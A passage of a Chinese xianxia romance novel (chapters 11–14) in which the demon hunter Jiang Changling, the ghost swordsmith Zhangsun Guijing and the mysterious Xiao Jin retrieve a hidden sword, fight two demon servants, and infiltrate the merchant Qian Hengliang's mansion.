灵根算是一种天生便存在于人身上的天赋,有些人有,有些人没有。
没有灵根的人,是最为普通的凡人;而有灵根之人若是修道,修得好便可以成仙,修得一般便可以混个道士,而若无开发这方面潜能的打算的,混个凡人也算天资聪颖。
“不对,老夫混迹江湖多年,医治过这么多人从未见过这番脉象。”郎中摇摇头。
这话中有许多关子,惹得姜长泠都不禁好奇,是何种脉象能让郎中如此头疼?
萧烬也向郎中投去期待的目光。
“这脉象虽然平稳,规律却不一,就像是人身上长了两个心。”郎中严肃道。
11. 出城
“这是何意?”姜长泠率先问出口。
郎中再低下头去翻书,皱眉道:“老夫从医多年,也没见过此等异象啊。”
“那还有办法吗?”萧烬问道。
书翻到了最后一页,郎中唔了一声直起身子:“算了,我这古医书上都不曾记载,治不了了。”
“那便算了吧,多谢郎中先生。”萧烬起身留下诊金,对姜长泠笑了笑,“既然郎中先生都说没有办法,那还是先走吧。”
别无他法,姜长泠只好与萧烬走出了医馆。
“可若是萧公子一直好不了今后的日子又打算如何呢?”姜长泠问出了顾虑。
萧烬装作不经意地说了一句:“那萧某恐怕要麻烦姜捉妖一辈子了。”
姜长泠闻言色变,只当自己没听清,又问了一遍:“你说什么?”
“开玩笑的。”萧烬忍俊不禁,又道,“今后的日子我会自己看着走的,幸识姜捉妖师。”
听及此处,姜长泠脸上的温热才散去,回道:“萧公子要是以后有什么困难也可以来找我。”
“会的。”萧烬笑道。
“那萧公子今天可还有什么打算?”
“今天打算跟着姜捉妖师一整天。”
车水马龙的街道,明明人声喧嚣,可她偏偏听到这句话时,耳旁最清静。
她眼神一黯道:“我并非什么有趣之人。”
“当然不会,我觉得跟姜捉妖师待在一起便是一种乐趣。”萧烬看着她,眼神温柔。
姜长泠怔住,这时,空中降下一张传音符:“长泠师姐,露青街遇妖突袭。”
她默默背过身拿出传音符回应:“我已知晓,立即前往。”
于是,回过身的姜长泠又拿多几张传音符塞到萧烬手里,握住他的手腕又注入些灵力慌忙道:“事态紧急…我先走一步。”
“好。”
萧烬应下,便只看到女子跑去的身影,恣意而洒脱。
*
露青街。
姜长泠到的时候,那只狼妖本被她的两个师弟师妹用符咒定住,隐隐有着能动之势。
她甩手抽出一记缚妖绳,便听到一声狼嚎咆哮伴随着一阵威压震开了禁锢!
师弟师妹不免抬手抵挡,姜长泠却就在这个间隙冲了上去。
她抬手将缚妖绳捆住狼妖的脚踝,硬生生将狼妖跃上房屋的动作阻断,将狼妖狠狠地摔到了地上。
紧接着姜长泠上前从背后一膝盖抵住狼妖欲要翻身的背部,接着再用缚妖绳捆住了狼妖的双手。
一套动作下来,行云流水,狼妖还在不服气地扭动身躯,姜长泠当即再往它额头上送上一张镇妖符,狼妖便彻底不动了。
围在周边的人群不禁响起一片掌声,而萧烬也藏身在了人群之中,将方才姜长泠的举动尽收眼底。
“师姐好生厉害。”师妹上前夸道。
姜长泠松了手站起身点头道:“过奖。”
她刚说完,天空中便飘来了一团黑雾,对她道:“长泠,长孙叔总算是找到你了!”
长孙归璟这个时候来,姜长泠莫名有些不习惯,只敢抬头看了他一眼后又将视线收了回去。
她与师弟师妹告别后,神色自若地转身走开。
“长泠,我找到那把宝剑的位置了,不过那处被封下了禁制,我进不去。”长孙归璟又化为了人的模样跟在了姜长泠身边。
姜长泠不语,只敢从喉头“嗯。”了一声。
而长孙归璟本还想说些什么,意识到姜长泠周围都是人,不好说话才噤了声。
于是他一路跟着姜长泠到了一处偏僻没有人烟的小巷。
姜长泠确保了四下无人后,才问道:“那处地方在哪?”
“那把宝剑被我藏在了家里的地下暗格之中,家中旧址就在青竹城外的桐阳县,要不要现在就过去看看?我带路。”长孙归璟主动道。
“要出青竹城,会很远的吧?”姜长泠担忧道。
长孙归璟仰起头思索须臾,便说:“要是按脚程来算,估计也得两刻钟。”
“太远了,还是晚上再去吧,不然这边万一出现情况...”姜长泠说着说着见长孙归璟的视线已然移到了别处,随即她也向别处看去。
她顿时刹住了要说的话。
来人一身雪白的衣袍,骨节分明的手正手持着一张燃烧的传音符,眼神中带着懵懂和新奇。
而长孙归璟更是惊讶地没合上嘴。
一时之间,一人一鬼间不知谁比谁慌乱。
“姜捉妖师怎么在此处?”萧烬问道。
“我...我就是正巧路过此处。”姜长泠勉强笑笑。
萧烬又柔声问道:“我是不是打扰到你们了。”
“怎么会。”
“打扰?”
长孙归璟和姜长泠异口同声后面面相觑。
“看得见鬼难道是什么很奇怪的事吗?”萧烬丝毫不在意地向他们走来。
怪,太怪了。
姜长泠眸中流露出少有的惊诧。
萧烬松开传音符问道:“你们在谈些什么,我能听吗?”
这和善的语气,温润的眼神,和昨夜在冰天雪地里仅是用意识就把妖虐得死去活来的人竟是同一个?
长孙归璟不禁暗暗腹诽。
“这位前辈…是一名铸剑师,不过想拜托我帮他取出尚在家的剑罢了。”姜长泠解释道。
“在哪?我陪你去吧。”萧烬笑了笑。
“是晚上去,路途危险,萧公子还是不要掺合为好。”姜长泠劝道。
萧烬不以为然:“那我更要去了。”
长孙归璟和姜长泠纷纷傻眼了,原因却各不相同。
长孙归璟想:这么厉害的一个人物要是帮他,铲掉钱府岂不是易如反掌?
姜长泠却想:怎么会有人如此单纯,整天不顾自身安危的粘着人?
*
夜晚。
两人一鬼悄摸着出城。
在路上,长孙归璟斗胆地问了句:“长泠你和萧公子是什么关系?”
姜长泠说了句:“朋友。”
“嗯,朋友。”萧烬也予以笑意回敬时,盯了一眼长孙归璟。
长孙归璟便浑身刺痛了一瞬。
他明白了,这萧公子深更半夜在庭院中默默为姜长泠挡下妖仆,如今又陪她来取剑,还特意吩咐了不能说。
这无非就
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是青年人之间的小情小爱罢了。
解析完,长孙归璟瞬间觉得脑中开窍许多,向萧烬抛去一个眼神。
谁知,萧烬眼中闪过寒光又电了他一下。
长孙归璟决定沉默不说话了。
现在的青年人还是太过叛逆了...
一行人终于抵达到桐阳县,一眼望去却皆是一片荒废之地。
姜长泠此前从未听过这片地名,想来也是太过的久远。
“就在那。”长孙归璟抬手指着其中一所房屋,带着两人走了过去。
抵达门前,姜长泠手中拿着的符纸有火光跳跃,正往前探照着。
“里面有着压制鬼魂的禁制。”长孙归璟停顿在门口。
“我进去探探。”姜长泠踏进房屋,便发现了在一众黑暗的环境中隐隐冒出一个金色的法阵漂浮在上空。
这阵不拦生灵,但防鬼魂。
察觉背后有脚步声,姜长泠回过身道:“这里面的危险尚未可知,萧公子且在外面等候吧。”
萧烬举着姜长泠送他的燃烧符,眼眸清澈,道:“有你在我便不害怕。”
此话一出,长孙归璟率先表示不解,此时他十分想问萧烬一句:“你到底安的什么心?”
可刚想出口,便被萧烬瞥了一眼。
罢了,他不想挨电。
姜长泠神色倒是认真了起来,严肃道:“平日里萧公子说说玩笑话也罢了,可此地情势复杂,万一出了什么事,我很难保证萧公子的安全。”
火光描摹着她的瞳孔,如同星光在闪烁,与平时的温婉的感觉不同,多了一份清冷倔强。
萧烬觉得有趣,可又不想太过逾越,只好松了口说:“那好,我在外面等你,如果你太久没出来,我就进来找你。”
“嗯。”姜长泠应了一声后又继续往前。
她大概看清楚了这间房屋的地形,其实并不大,除了大厅堂外便只剩下一个小房间,地上还放着些陈旧的杂物。
再看了眼法阵中央,她一下就看出这只不过是一个普通的五行相克的压制法阵。
而五张写着属性的符纸分别贴在房屋的五处墙面罢了。
想要破解十分简单,只需将符纸撕去,破坏掉相克循环的其中一环,法阵便会失效。
可这处地方为何明明已经荒废却还要封印?
定有蹊跷。
“怎么样,禁制可以解除吗?”长孙归璟在外问道。
姜长泠留了个心眼,只问:“长孙叔,你这宝剑放在何处了?”
“就在里面房间的床底下,有一块暗砖,你将它挪开便能看见里面有一个剑匣。”
“好。”姜长泠应声走进房中,靠着符纸上的火源照出一处床铺,本是雪白的纱帐因年久无人使用已经沾满了厚厚的一层灰。
床铺更是脏乱不堪。
姜长泠只好一只手拿着燃烧符,另一只手准备将纱帐拆下。
可无奈单手实在太笨重,她拆了好一会都没拆完。
还扬起了不少尘灰。
届时,身后忽然响起一个温柔的声音。
“我来帮你吧。”
“你...怎么进来了?”姜长泠错愕回头。
12. 降妖
“姜捉妖师不也没事吗?”萧烬径直向她走来,手里干脆没拿任何符咒,略过她后独自将那纱帐拆下。
又把那撑起纱帐的竹子卸掉。
既然如此,姜长泠也不好再说些什么辜负人家一番心意。
只低声说了句:“...多谢萧公子了。”
“举手之劳。”萧烬掀起整块床板,灰尘更加浓郁了。
待灰尘消散后,两人蹲下靠着姜长泠手中唯一的火光映照着地板。
待姜长泠拨开地上的厚厚的尘垢,才得以窥见地板的原貌,地板可见是石路所铺,有着规律的纹路,乍一看并不足以看出这里有块暗格。
气氛默然了片刻,两人似乎都陷入了沉思之中。
就在姜长泠灵光一现,发现了地板中的蹊跷时,她伸出手试探。
细微颗粒的尘埃摩挲过她指腹,终于她在一处地方摸出了不同。
她触动了一块能移动的地板,正巧位于一整块地砖的中间。
“不愧是姜捉妖师。”
萧烬温润的声音从她身旁传来,她才发现他们原来肩挨着肩。
她忍不住循声看去,发现身边之人的侧脸冷峻,鼻子高挺,垂下的眼睫很长,却似蕴含着春和景明,唇角还带着微微的笑意。
好看,好看得不太真实。
她缭乱地瞥了几眼便收回了视线。
而萧烬感受到姜长泠的视线,也顺应着转头去看她。
“萧公子过奖了,不过是我瞎摸索出来的罢了。”姜长泠恢复了认真的神情,再次看向那片暗格。
萧烬盯了一眼她沁红的耳垂,不禁觉得好笑。
心想着就这么三两语能把她卖了还帮别人数钱。
而姜长泠全然没注意自己的异样,专心地拨弄着暗格。
诡异的是,姜长泠无论怎么拨开,这块地砖总是有下一层,无穷无尽。
再拨下去,都要有一个地室了...
怎会如此?
疑惑间,她果断站起身走到厅堂中,问道:“长孙叔,你是不是记错了,为什么那块暗格永远拨不完?”
“拨不完?不可能。”长孙归璟对自己很是自信,“长泠啊,你试试能不能将这禁制破了,让叔进去给你们指点指点,你们可能对这块不熟。”
闻言,姜长泠犹豫地看向墙边的符咒,伸出手捏住符纸。
只要这符纸一揭下,这法阵便会即刻失效。
那么被这法阵封印此处的,或抵御外面的都将会重汇。
按常理来说,她在这里看不见任何被封印的亡灵,就算是被放出来,也害不了人,长孙归璟应当不会骗她。
不过还不等她扯下来,这符咒便自动掉落了。
而就在符咒掉落的瞬间,法阵瞬间黯淡消失,接而汇聚成一道金光向屋顶飘去不见其踪。
这个场面很熟悉,像是书中所描写的场景,可她一时半会想不起来这个现象所谓何意了。
算罢。
“长孙叔,法阵解开了,你进来吧。”姜长泠道。
“好。”长孙归璟终是踏进了这间房中。
他感慨万千地环视着周围,放慢了脚步,硬是走了很久才走进了房间。
于是他看着那已经离地面深了快六寸的地面陷入了沉思。
他喃喃道:“不应该啊,我记得是这个暗格。”
突然间,他一拍额头,道:“我想起来了,当时叔为了防有小人,做了两个暗格。”
萧烬听后对长孙归璟笑道:“那您记性还挺好的。”
“可不是嘛,亏我还想得起来,都多少年前的事情了。”长孙归璟指着他站着的地方,“那真的暗格应当就在你脚下。”
闻言,萧烬挪了位置,半蹲下摸索时,还真又让他摸到一块暗格。
正向一旁划开时,底下又是一片相同颜色的地砖。
长孙归璟看着萧烬抬眸过来的眼神又慌乱了一瞬,连忙道:“我没记错的话,再开三层便是剑匣!”
话音落下,萧烬再次低头本想耐着性子拨开三层时,他发现顶上的照明不见了。
抬头望去,本站在他旁边的姜长泠莫名转身了。
长孙归璟看着姜长泠拿了燃烧符一声不吭地向厅堂走去,不禁问道:“长泠,你去哪?”
“我好像遗漏了重要的一点。”姜长泠冒然离去,只留下一个背影一句话。
此时她紧抓着燃烧符,照明着墙壁上残留的黄符,只想祈求着她的结论是假的。
方才进屋,她随便掠了一眼便确定了这是最基础的五行封印之术,所以并没有多在此法阵上琢磨。
可问题就出在她轻搭上的那张符纸之上,她分明没用力,可符纸还是掉落了。
她后来才惊觉这符纸或许原来本不是揭下才掉落的,而是仅仅察觉到有人的停留便掉落了。
再加上掉落符纸后出现的那束金光。
她原本还想不起来是所谓何意。
可她如今想起来,这是和传音符有着同样的原理,是通信的意思。
这次她再找了一处符纸,试着停留了一会。
果不其然,寂静而荒凉的房屋之中只剩下符纸哗落的声音和一道极为刺眼的金光。
姜长泠的心瞬间凉了半截,这说明在此处布下法阵的人已经知道了他们的行踪,并且他们可能随时会有危险。
无论是现在,还是回去的路上。
她连忙回到房间,发现萧烬已经拿出了剑匣,一时不知是喜是悲。
还不等长孙归璟开口问她,她便率先问道:“长孙叔,你知道此处的法阵最有可能是谁布下的吗?”
“要说是谁布下的,我不太能确定,毕竟我早年混迹江湖时有许多仇家,他们或许是想要报仇在此布下法阵,以为我会变成鬼被困在这内吧。”长孙归璟不紧不慢解释道。
姜长泠摇摇头当即否定了这个想法,如若是想要报仇,不可能将法阵布置得那么简单。
有如此支配力和掌控力的,姜长泠暂且只能想到钱府。
毕竟长孙归璟说过,钱府的四周像是设下了屏障。
要是钱恒亮不怕鬼,就不会搞这么一出...
“方才那厅堂的符咒掉落,有通信传音之意。”姜长泠将地上的暗格恢复,“长孙叔,我觉得我们惹上麻烦了。”
长孙归璟才意识到为什么姜长泠一步步变得紧张严肃。
萧烬却全然处在紧张的氛围之外,悠哉悠哉地将床板放下,试图饰演好一个什么都不知情的角色。
“那我们现在是要将这里复原赶快离开吗?”萧烬拍了拍身上的灰尘道。
姜长泠衡量须臾,还是觉得走为上计,毕竟躲在这一隅小房屋之中太小,就算是要施展拳脚也打不开。
“不如...”姜长泠准备说话之际,房屋外便响起一阵细碎的脚步声,伴随着几句说话声。
“啧,这深更半夜的闯进来不是贼还会是什么。”
“就是啊,照我看这钱恒亮压根没把咱当人看。”
“你是不是傻,我们本来就不是人。”
“...”
就在几个呼吸间,姜长泠和萧烬两人已经双双躲进了床底。
“长泠啊...”长孙归璟刚想发话,却见房屋中央金光乍现,那五行相克法阵竟又被来人重新布下。
“你若是打不过,便让叔来。”
此时狭窄的床底下两人紧紧挨着,姜长泠在外,萧烬在里。
她意识紧绷着,每每下意识向后退时便撞到萧烬的胸膛。
有光亮映照子在了地面,随即两双脚便出现在了她视线之中。
“老大,你猜测的真不错,来的人还真是小偷,都把这纱帐给拆了。”
“我他娘的就知道,赶紧找找少了什么东西。”
于是两个“人”便在房间中翻箱倒柜找着东西。
“可是自从这铸剑师死了之后不是已经把所有重要的东西都拿走了吗?况且我们也不知道这之前放了啥呀。”
“你傻呀,苍蝇就没有无缝的蛋,万一漏了啥咋办,你以为钱恒亮是吃素的?”
另一“人”显然被打了一下,吃痛地叫出声:“知道了老大。”
就在这时,姜长泠准备在手上刻画下符文。
她本想自己解决了眼下两人,可与
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自己的意识挣扎许久,还是觉得不能逞能将别人的性命放逐在别人的手上...
她正要咬破手指,忽然却被身后的一只大手抓住。
姜长泠怔愣片刻,才感知到背后有一阵温热的心跳声,不疾不徐...
“姜捉妖师为何要咬手指?”萧烬的声音放得极轻,带着浓厚的善意在她耳边传来。
姜长泠连忙转过身去捂住了他的嘴。
可就算话语再轻声,动作再轻微,这一点动静足以让那两“人”察觉。
周遭翻找东西的声音戛然而止,一下变得寂静无比。
长孙归璟心知他们看不到他,却也为姜长泠他们捏了一把汗,一句话没吭。
“你听到了吗老大?”
“嗯。”
两“人”似乎达到共识,逐渐压慢着脚步向他们这靠拢,姜长泠松开萧烬回过身去,见此情景也大概猜到了会有如此下场。
她轻叹一声,眉眼冷了下来,调动起周身的灵力,赫然甩出一条缚妖绳捆绑住其中一人的脚踝,趁其不意将他拉扯绊倒,在这间隙她迅速借力翻身出了床底。
“老大!”
起身后的她连忙跑出了房屋,首先将战场转移至外面,这样起码能暂时保住萧烬的安全。
可身后的两只妖也并非等闲之辈,几乎是贴着姜长泠跟出来的。
姜长泠甚至能感受到他们隐隐欲动的妖气。
屋外小道已被雪铺满,而天上还在不断飘着小雪,这样的天气着实不适合打斗。
不过好在月明风清,凭借着几率月光,她还能看得见与对打的妖长什么模样。
一只蛇妖,一只鹰妖。
双方相看无言,默默续起灵力。
蛇妖忽而将下半身蜕化,长出比他上半身还粗上两倍的蛇身,月光沐浴之下那冷硬玄色的磷片正跟随着蛇身盘踞蠕动发着光,长到蛇尾时便露出一截锋利无比的尖刺。
而鹰妖则是径直地向她扑来。
她身形轻盈,在凌风中放出缚妖绳精确套中众房屋中的顶梁柱后便飞跃到另一边屋檐下低势之处,躲过了鹰妖的飞扑。
可论敏捷,她心知是比不过这两种妖的,所以她当即窜进了另一间废弃的房屋之中,借助障碍物好让她拖一会有布阵的机会。
她一边穿梭一边将符纸甩在墙上,而那蛇尾在她身后不断抨击着墙体掉落碎土,鹰妖更是跃起绕到她身前对她大打出手,却被姜长泠一手抬起双指夹着的符咒弹出一层灵力屏障反弹开来。
蛇尾趁机再次袭来,又被姜长泠侧身一躲过便趁机翻出窗沿。
打出最后一张符在墙,她再一跃上屋檐,双手十指交叉向掌心合去,寒风瞬时转急,强悍的威压顿时如她手势所表之意从房屋的四面八方向中聚拢,一时两只妖便停在原地不得动弹。
阵法一成,数条湛蓝的灵流便从地上拔地而起形成一张大网将这间房屋笼罩。
“老大,为什么我们动不了了?”蛇妖此时如一条死鱼般紧贴着地面。
“废话,当然是因为你蠢啊。”鹰妖方才被那屏障灼烧得有些疼,还没缓过神来就五体投地了。
姜长泠悬着的心终于放下,放下双手时随之而来的是经脉流灼的疼痛感。
她的手有些不受控的发颤。
过度消耗了。
于此同时,萧烬已经在长孙归璟家门口站着看完了全程,还感受着和姜长泠一样的痛。
期间长孙归璟在他耳旁囔囔了一万句:“为什么不去帮她?你有能力为什么不去帮她呢?你是想看着她死吗?”
并非他选择失聪,而是他想看看眼前这个女子的行事风格到底如何。
见到这一幕,他仿佛摸清了些门道。
萧烬一直不动,长孙归璟便暗暗说了句:“不争气的玩意。”于是向姜长泠飘去:“长泠啊,你没事吧?”
姜长泠跃下屋檐,自然地把手背过身去,看向来人,微微翘起嘴角:“没事,长孙叔,我自己一个人也可以。”
“叔长见识了,倒是小瞧了你,没想到你这么厉害。”长孙归璟夸道。
“要不要审审里面的两只妖?”
13. 夜遇
姜长泠藏在背后的手正微微颤抖着,如若再施加灵力,恐怕整个法阵都会崩塌。
她只能出于下策道:“我困住他们的法力有限,不能太久,万一这些妖还有支援那便危险了。”
“害,有叔在你怕啥。”长孙归璟道,“叔来帮你审问他们。”
萧烬拿着剑匣走来,道:“我支持姜捉妖师的想法,既然他们能在这房屋中布下能通信的法阵,说不定后面还会有所增援。”
长孙归璟不解地看向他。
“不如走罢,反正知晓了这是钱府派来的妖仆也就够了,又何必打草惊蛇赶尽杀绝呢?”说完,萧烬独自一人转身离去。
这一刻,姜长泠看着萧烬的背影忽然觉得尤为的陌生。
莫非他是觉得她下手太狠...?
“先走吧,长孙叔。”姜长泠跟上萧烬的步伐。
“唉,好吧。”长孙归璟也不知萧烬的葫芦中卖得什么药,也只好跟上。
此时萧烬被浑身流淌的灼烧感惹得有些许燥烦,他面上不显,耐心却跌到了冰点。
于是乎,他干脆这回去的一路上都没有说话。
直到回到了青竹城内,姜长泠才感觉自己布下的法阵被挣破开来,幸好她在刚才已然卸下了续着法阵的灵力才没有遭到反噬。
长孙归璟察觉到她的不对劲,问道:“长泠,你怎么了?”
“嗯?我没事,只不过有些累了罢了。”姜长泠一笑而过。
只有萧烬看穿了她在感受着如火炙烤般的苦楚。
“萧公子,你是不是生气了?”姜长泠却反问他。
这句问话倒是在萧烬的意料之外,他闷声道:“姜捉妖师怎知?”
姜长泠将捂了一路的钱袋拿出递给他:“看出来了,但不知萧公子因何生气?”
萧烬接过钱袋,把剑匣交换给她,欲想要说点什么,却又道:“算了,我没生气,你回家吧。”
夜深人静,大街上早已空无人烟,要是这个时辰一个人独自漂泊在外,熬到第二天时,说不定就冷死在街头了。
姜长泠不由担心地问了句:“那萧公子准备去哪?”
“你先担心自己吧。”萧烬落下这么一句话后便独自转身离去。
“长泠,你不用担心他,他有钱一时半会肯定死不了。”长孙归璟收敛着说。
姜长泠虽很疑惑,但现下她着实被折磨得很疲惫,索性压下了那心软的念头默认着离开。
*
姜长泠与长孙归璟到别后便回到家中整理好躺下。
她不断地在床上翻来覆去,眉头拧成了麻花,因为一旦灵力过度消耗的疼痛只有在不动的状态下是最汹涌的。
她一会怕冷捂紧被子,可一会又热,又只好将被子掀开一半。
反复以往后她实在是太累了,便浅浅地眯上了。
倏然间,她感受到了自己的手腕处被轻轻按压着,随即便有一股灵流灌入。
全身的燥热便被一股霜凉之息抚平了下去,疼痛也明显缓解了。
姜长泠本就没有睡得太熟,被这么治愈之下,她头脑中自动将这段日子的所有疑点聚集在一人身上——萧公子。
她本能地抓住搭在她脉搏上的手。
“抓到你了,你到底是谁?”姜长泠转过头去睁开眼睛,声音还带着微微的沙哑。
闻言,来人沉默了一会回答:“你无需知道。”
房中已然漆黑一片,饶是这人离她很近,她也丝毫看不见纱帐外的人的轮廓。
此举太过莽撞,若不是隐约感觉是认识的人所为,她恐怕就要大打出手。
姜长泠皱起眉头,问道:“你怎么知道我受伤了?”
来人并没有回答他。
而姜长泠突然感觉手中温度骤失,在她眼前抓住的人就这么不翼而飞了。
为此她还不信邪的从袖中抽出一张符咒燃了起来,照亮了这一隅地方。
这下她真的相信了,刚才活生生的一个人就这么凭空消失了。
长夜漫漫,姜长泠重新躺在床上想了很多东西才渐渐恢复了睡意。
*
翌日清晨,姜长泠朦朦胧胧醒来,睁眼时下意识地转头向一旁看去。
家里的车设已然被外面的日光晕染上一片金色,昨晚黑不见底的恐惧感和未知似乎都烟消云散。
她揉了揉太阳穴后起了身。
还好今天她休沐,洗漱好整理完她便带着剑匣出了门。
不过她没想到的是,长孙归璟正在门外候着她。
“长泠,你准备好了?”长孙归璟问她。
“嗯。”姜长泠应了一声。
“那便走吧。”长孙归璟把手背过身去,“话说今天那萧公子怎么不来了。”
姜长泠眼神一黯,摇摇头道:“我也不知道。”
*
钱大典当
掌柜接过了姜长泠递来的剑匣,他一打开,便被这鬼斧神工的手艺震惊住了。
这用材虽便宜,但胜在做工精细,这铸剑师居然能将廉价的小玩意打磨得贵气无比,且在剑身和剑柄处都刻有浮雕。
而这些浮雕,都是些有名的山水名画,乍一看看不出,但仔细观摩过后才能发现其中的玄机。
他再摸了摸这仍旧锋利的剑身,再掰了掰这剑,他顿时明白过来,原来贵的材料用来铸造了剑身。
尽管他非是习武之人,但对于剑器方面也有一定的钻研造诣。
世上能做到剑器外表精美又要实用的人少之又少,在业内并没有知名人物。
就算是之前有,也死绝了。
掌柜抬起头对姜长泠投去欣赏的眼神,道:“这位小姐,您这是要死当还是要活当呀?”
姜长泠一把将剑匣的盖子合上,道:“我此次前来并不是来当的,而是想见钱老板一面谈谈。”
“谈?”掌柜眼里发着精光,“贵客呀,不知这位小姐贵姓?”
姜长泠思索片刻便道:“萧。”
“萧小姐是吧,还是第一次听说您的名讳,真是不鸣则已一鸣惊人啊。”掌柜恭敬地站起身来,“不知您是想与钱老板谈哪一方面呢?”
姜长泠拍拍剑匣:“当然是铸剑手艺的合作。
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”
掌柜闻言眼中略过一抹精光,不免想起了曾经的一些事迹,于是他又笑眯眯道:“萧小姐有这般手艺,恐怕在这方圆之地铸剑也算是屈才了呀。”
“掌柜言重了,青竹城中谁人不知钱老板的典当生意一家独大,财气通天呢?”
“既然能得到萧小姐如此首肯,那么我便去向钱老板通报一声。”掌柜话音刚落,便看向了姜长泠身后,眼中的笑意更甚。
“萧小姐,您真是吉星高照,钱老板一般不会来典当铺,这碰巧今个就来了!”
姜长泠转过身去,便看见一名穿着金黄大褂,脸上布满赘肉的人向她来,身后还跟一名仆人。
而那赘肉间一双细小的眼睛眯得正弯,嘴角一咧开时,有种佛像普度众生的慈祥感。
倒是与长孙叔中的记忆大差不差。
“这人就是钱恒亮。”长孙归璟冷声道。
“钱老板,久仰大名。”姜长泠对钱恒亮一行礼。
“嗨呀嗨呀,不必如此客气。”钱恒亮抬起手中的烟斗嘬了一口,目光从上到下打量了一遍姜长泠,“我方才都听说了,不曾想萧小姐一表人才,还会这铸剑的手艺?”
姜长泠笑了笑:“过奖过奖,不过是小有涉略。”
烟雾缭绕弥散至周围,飘至姜长泠面前,她不禁蹙眉用手扇了扇。
继而钱恒亮略过她时落下一句笑哼,走到了柜台处倚着桌面偏了偏头,示意掌柜给他打开。
掌柜立马识相地把剑匣打开,旋至钱恒亮面前。
钱恒亮漫不经心地朝剑匣看去,明面上看,倒是看不出满不满意。
看了一会,他抬眼向姜长泠看来,笑着露出烟牙:“这手艺,竟是出自萧小姐之手?”
“正是。”姜长泠面不改色。
“萧小姐很有潜力啊。”钱恒亮嘬着烟闷声笑起来,“想和钱某谈什么呢?”
长孙归璟率先慌了起来,毕竟他们的策略原本只是以宝剑为引进入钱府,可如今钱府没进去,在这典当铺就要交代完了。
况且这计划中也没有详略到攀谈的那一步,他不免有些担忧地看向姜长泠。
姜长泠却一脸从容道:“早有听闻过钱老板时不时便会办拍卖珍宝等等行当,不知我的手艺够不够得上钱老板手下珍宝的门槛?”
钱恒亮将吸进的那口烟狠狠地吞了进去,笑得更欢了:“钱某不知萧小姐的手艺如何,但是萧小姐够上钱某的榻槛倒是绰绰有余啊。”
“不知钱老板这番话所谓何意?”姜长泠眉目漠然,没什么神色时总给人一种冷若寒霜的感觉。
“开玩笑的,萧小姐这般天姿哪能是钱某敢妄攀的呢?”钱恒亮收敛了笑容,“萧小姐除了这把剑之外可还有其他作品?”
姜长泠果断道:“自然是有的。”
“那不如就明日来我钱府之上好好聊聊这桩生意?”钱恒亮问道。
“择日不如撞日,就今日吧。”姜长泠坚定道,“还烦请钱老板在府中等候,我往返一遍家中便上钱府拜访。”
钱恒亮点点头,欣赏一笑:“嗯,可以。”
14. 怀疑
姜长泠实在没有多一个剑匣,只好兜转回去了一趟又出门前去钱府,只带了一个剑匣来钱府滥竽充数。
“长泠你一个人小心点。”长孙归璟止步于钱府之外。
姜长泠“嗯。”了一声便被仆人请进钱府,一走进去才感受到何为财气通天。
四面八方围着的墙体边种满了桃树一路延伸直去看不见尽头,虽是隆冬落雪纷纷,可钱府中的石板路上却没有半点积雪,甚是干净。
而庭院的石路有着三条,分别向三个方向引去。
而正中央的房屋此刻大门正是敞开的,明显是主厅堂。
一名仆人走到了她身旁与她说道:“萧小姐请随我来。”
“嗯。”
她走在石板路上,视线却落在墙边种下的排列密集的桃树,而这些桃树的树桩都整齐划一地被涂满了红色的东西。
像是朱砂。
姜长泠收回视线,心里大概了然,钱恒亮这是想要扶阳制阴,将整个钱府上下摆满了阳性的作物用以抵御阴邪的入侵。
不过这招对于小鬼来说固然好防,但对于长孙归璟那种修为的恐怕还是不够。
这其中定还有其他手段。
姜长泠走入厅堂,仆人便自行离开了,她绕过一片屏风时,闻到了淡淡的茶香味。
“萧小姐,请入座。”钱恒亮正坐在红木所制的椅子之上,摊开了手掌指向另一把椅子。
就在这时,姜长泠留意到了钱恒亮手上的玉扳指。
她礼貌点点头入座。
他们中间正好放着一张茶几,上面已经有着沏好的茶。
“萧小姐从外面来想必是一路风寒,不如先喝口茶暖暖身?”钱恒亮笑道。
姜长泠看了一眼那茶,委婉道:“多谢钱老板的好意了。”
“只是我第一次见到这城中竟然还有钱府这般大的地方,不免有些好奇这钱府的后院是何模样呢?”
钱恒亮端起茶杯抿了一口,耸肩笑了笑,立马站起身来:“有请,钱某今日便带你参观一番。”
姜长泠微笑了下,起身跟着钱恒亮往后院走去。
她方才正还好奇前厅堂为何没什么仆人,一从厅堂的后门走出便发现了数些妖仆零零散散的布满在后院之中。
一瞬间,姜长泠感觉所有妖仆的目光都聚集在了她的身上。
“还请萧小姐不要害怕,这些仆人都是钱某招来后院扫雪的。”钱恒亮带着她走到了一处连廊之中。
一眼望去,石板路的路径格外清晰,而在石板路意外的花花草草则是被雪覆盖住薄薄一层,这片白茫茫一路延续到了再后一座房屋。
姜长泠纵观下来,心目中大概了然这钱府之中一共有五座房屋。
“看来钱老板格外的喜欢桃树?”姜长泠试探问道。
钱恒亮笑道:“一般一般。”
“不知钱老板为何要将这些树桩都涂抹成朱红色?”
“那只是钱某在无意之中听到过一些江湖道士传言,朱砂能辟邪。”
姜长泠跟着钱恒亮走在长廊中有一搭没一搭地聊着,已然快晃到了尽头。
而姜长泠在长廊漫步之时发现了在后院房屋的庭院间隔之中有个怪异的石柱屹立于中间。
她的直觉感应出,那个地方可能是阵眼。
而她视线再向一旁挪去,正好与两只妖仆对上目光。
一只有着尖细的竖瞳,而另一只是黄澄澄的妖瞳。
正是那天在城外遇见的蛇妖和鹰妖。
而那两只妖却没有表露出任何惊讶之意,不过是看了她一眼便匆匆走了。
姜长泠嗅到一丝不对劲的味道。
她不免加快了解除屏障的进展,单刀直入地指向那屹立在间隔之中的石柱,问道:“不知这庭院中的在那石柱是何物?”
钱恒亮只是抬起眼向那看一眼,干笑了一声:“钱某知道萧小姐聪慧,但那东西,并非是你能看得懂的。”
“恕我不自量力,想亲自观摩一二。”姜长泠道。
不知为何,钱恒亮停了下来盯着她没有回话,过了一会,他又嗤笑出声:“嗯,你去看吧。”
“多谢。”姜长泠行了一礼后便踏出长廊,风雪迎面而来。
她走到那石柱旁,用手拨开了上面的积雪,她隐隐感觉到这石柱中隐隐有着灵力的波动。
石柱上的图案看上去像是一副八卦图,但奇怪的是八个卦象都是同样的乾卦。
这时,钱恒亮走到她身边问她:“如何?”
姜长泠将手搭在石柱之上,佯装是要抚摸这卦象,实则她悄然地注入了一丝灵力进石柱。
石柱应验闪了一下光,桃树与石柱牵连着的数条金丝线便浮现在眼前。
庭院中的妖仆感知到有灵力的异动纷纷朝她看来,而唯独钱恒亮像个没事人一般没有感知到任何异常,还在等待着她的回复。
